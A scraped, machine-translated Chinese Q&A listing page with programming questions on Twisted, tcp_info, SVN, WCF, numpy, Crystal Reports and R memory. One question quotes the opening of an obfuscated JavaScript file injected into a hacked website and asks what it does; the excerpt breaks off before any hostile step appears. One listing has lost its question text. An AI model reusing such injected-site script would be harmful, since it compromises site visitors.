问题列表 - 第31465页

扭曲:检查是否已经调用了延迟

这就是我正在努力实现的目标。我正在远程调用服务器以获取信息,我想阻止以等待信息。我创建了一个返回 Deferred 的函数,这样当 RPC 带着回复进来时,就会调用 deferred。然后我有一个从线程调用的函数threads.blockingCallFromThread(reactor, deferredfunc, args)

如果出现问题——例如,服务器出现故障——那么呼叫将永远不会解除阻塞。在这些情况下,我更喜欢延迟关闭,但有例外。

我部分成功了。我有一个延迟,onConnectionLost当连接丢失时它会消失。我将阻塞调用函数修改为:

    deferred = deferredfunc(args)
    self.onConnectionLost.addCallback(lambda _: deferred.errback(
        failure.Failure(Exception("connection lost while getting run"))))
    result = threads.blockingCallFromThread(
        reactor, lambda _: deferred, None)
    return result
Run Code Online (Sandbox Code Playgroud)

这工作正常。如果服务器宕机,则连接丢失,并触发 errback。但是,如果服务器没有关闭并且一切正常关闭,onConnectionLost仍然会被触发,并且这里的匿名回调尝试触发 errback,导致引发AlreadyCalled异常。

有没有什么巧妙的方法来检查延迟是否已经被解雇?我想避免将它包装在一个try/except块中,但如果这是唯一的方法,我总是可以求助于它。

python twisted deferred

2
推荐指数
1
解决办法
2692
查看次数

关于结构tcp_info的良好文档

我正在努力获取tcp连接的性能参数,其中一个参数是带宽.我打算使用tcp_info从linux 2.6开始支持的结构,它保存有关tcp连接的元数据.可以使用getsockopt()函数调用来检索信息tcp_info.我花了很多时间找到一个很好的文档来解释该结构中的所有参数,但找不到一个.

此外,我测试了一个小程序来检索tcp_infotcp连接的值,在那里我发现大多数时间测量的MSS值为零.为了让长话短说 - 是否有一个链接可以跟随其中包含完整的详细信息tcp_info以及使用这些值是否可靠?

connection for-loop tcp information-retrieval

12
推荐指数
1
解决办法
1万
查看次数

如果文件只更改了一次,为什么Subversion/TortoiseSVN会跳过修订号?

我是Subversion/TortoiseSVN的新手,我想知道是否有办法阻止Subversion跳过文件的修订号,这样我就可以根据它的修订号跟踪文件的更改时间:

示例:我有A.txt,B.txt和C.txt修订版1 :(将文件添加到存储库)A.txt:1 B.txt:1 C.txt:1

修订版2 :(编辑文件:A.txt和B.txt)A.txt:2 B.txt:2 C.txt:1

修订版3 :(编辑文件:A.txt和C.txt)A.txt:3 B.txt:2 C.txt:3 <---------我希望这个"3"是2**********

********我对C.txt进行了一次更改,我希望修订号增加一次(不要跳过2并直接转到3).我理解为什么Subversion/TortoiseSVN会这样做以及如何遵循它,但对于我正在研究的项目,我想以不同的方式做到这一点.我到处都读过,似乎找不到其他人这个问题.有什么建议?

谢谢

我是新来的

tortoisesvn revision numbers skip

3
推荐指数
1
解决办法
1807
查看次数

这个脚本做什么? - 黑客网站

我刚来到一个被黑客入侵的网站,我想知道这个javascript是做什么的.到目前为止,我可以告诉它试图将页面重定向到某个地方但失败了.看起来它已经进入服务器上的每个最后一个文件.

<script>

function sF()
{
};
var sMN = new Array();
sF.prototype =
{
    b: function ()
    {
        wL = "wL";
        var c = "c";
        var wS = new Array();
        cY = '';
        this.bW = "bW";
        this.sR = 35912;
        var f = document;
        var uH = "uH";
        var cJ = 13620;
        var n = '';
        this.hI = 9833;
        this.wX = 45851;
        var bI = function ()
        {
        };
        var e = window;
        yM = '';
        a = "a";
        var mV …
Run Code Online (Sandbox Code Playgroud)

javascript security

11
推荐指数
2
解决办法
1453
查看次数

WCF:通用接口的序列化是否可行?

我正在尝试实现一个服务契约,其中包含一个采用通用接口的方法,并且该泛型接口本身具有一个接口参数.我用ServiceKnownType修饰了服务接口,我用常规的KnownType修改了服务实现,并且我用常规的KnownType修饰了datacontract实现:

[ServiceContract(SessionMode = SessionMode.Required, CallbackContract = typeof(ICallbacks))]
[ServiceKnownType(typeof(Batch<object>))]
[ServiceKnownType(typeof(Command))]
public interface IActions
{
    [OperationContract]
    IResponse TakeAction(IBatch<ICommand> commands);
}

[ServiceBehavior(InstanceContextMode = InstanceContextMode.Single, ConcurrencyMode = ConcurrencyMode.Reentrant)]
[KnownType(typeof(Batch<object>))]
[KnownType(typeof(Command))]
internal class Actions : IActions
{
}

[DataContract]
[KnownType(typeof(Command))]
public class Batch<T> : IBatch<T>
{
}
Run Code Online (Sandbox Code Playgroud)

为了记录,我在那里有Batch,因为看起来你只能表示一次泛型类型的知识类型 - 它似乎发出BatchOfanyType,但我不知道如何处理它.

我得到的例外是"将任何静态未知的类型添加到已知类型列表中 - 例如,通过使用KnownTypeAttribute属性或将它们添加到传递给DataContractSerializer的已知类型列表中."

有什么明显的我做错了吗?是否不支持接口的通用接口?为了记录我在这个项目的C#2.0和.NET 3.0上.

c# generics wcf serialization serviceknowntype

6
推荐指数
1
解决办法
6775
查看次数

88
推荐指数
6
解决办法
8万
查看次数

touchesBegan&touchesMoved

所以这是一个奇怪的问题.我有一个响应touchesMoved:&的UIImageView touchesBegan:,它完美地运行.我遇到的主要问题是如果你把手指放在说image1然后然后用手指按住图像1你会用另一根手指按下image2.

反过来,这将再次触发image1.不希望这种情况发生.我希望能够在同时推动两个图像时使用Multi Touch,而不是一遍又一遍地触发它们.必须有一些东西我必须添加,以阻止这种情况发生.

码:

    -(void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event
{
    NSSet *allTouches = [event allTouches]; 
    for (UITouch *touch in allTouches) 
    { 
        CGPoint location = [touch locationInView:touch.view];
        if(CGRectContainsPoint(image1.frame, location) && lastButton != image1) {
            //Play Sound
            NSString *path = [[NSBundle mainBundle] pathForResource:@"sound1" 
                                                             ofType:@"wav"];
            SystemSoundID soundID;
            AudioServicesCreateSystemSoundID((CFURLRef)[NSURL fileURLWithPath:path]
                                             , &soundID);
            AudioServicesPlaySystemSound (soundID); 
            //
            lastButton = image1;
        }
        if(CGRectContainsPoint(image2.frame, location) && lastButton != image2) {
            //Play Sound
            NSString *path = [[NSBundle mainBundle] pathForResource:@"sound2" 
                                                             ofType:@"wav"];
            SystemSoundID soundID;
            AudioServicesCreateSystemSoundID((CFURLRef)[NSURL fileURLWithPath:path]
                                             , &soundID); …
Run Code Online (Sandbox Code Playgroud)

iphone xcode cocoa-touch objective-c

6
推荐指数
1
解决办法
3万
查看次数

Numpy矩阵到数组

我正在使用numpy.我有一个包含1列和N行的矩阵,我想从N个元素中获取一个数组.

例如,如果我有M = matrix([[1], [2], [3], [4]]),我想得到A = array([1,2,3,4]).

为了实现它,我使用A = np.array(M.T)[0].有谁知道更优雅的方式来获得相同的结果?

谢谢!

python arrays numpy matrix

140
推荐指数
6
解决办法
22万
查看次数

在Visual Studio 2010中为不同版本的Crystal Report构建.NET应用程序

如何在Visual Studio中构建针对不同版本或Crystal Reports较低版本的.NET应用程序。

客户端计算机包含Crystal Report 9运行时以及已安装的设计器。

现在,它运行一个.NET应用程序,该应用程序在Visual Studio 2008/2010中使用Crystal Report组件,该组件针对Crystal Report 9,而不安装除上述之外的任何其他运行时。如果是,怎么办?

.net visual-studio-2010 crystal-reports

3
推荐指数
1
解决办法
3392
查看次数

R的GC和内存限制问题

我在一些相对较大的数据上使用R并且遇到了一些内存问题.这是在Linux上.我的数据明显少于系统上的可用内存,因此这是管理瞬态分配的问题.

当我运行gc()时,我得到以下列表

           used   (Mb) gc trigger   (Mb)  max used   (Mb)
Ncells   2147186  114.7    3215540  171.8   2945794  157.4
Vcells 251427223 1918.3  592488509 4520.4 592482377 4520.3
Run Code Online (Sandbox Code Playgroud)

但是R似乎在驻留内存中分配了4GB,在交换中分配了2GB.我假设这是操作系统分配的内存,R的内存管理系统将根据需要分配和GC.但是,让我说我不想让R OS分配超过4gb,以防止交换抖动.我总是可以使用ulimit,但之后它会崩溃而不是在缩小的空间内工作并且更频繁地使用GCing.有没有办法为gc触发器指定任意最大值并确保R从不进行os分配更多?或者我还能做些什么来管理内存使用?

memory garbage-collection r

5
推荐指数
1
解决办法
1116
查看次数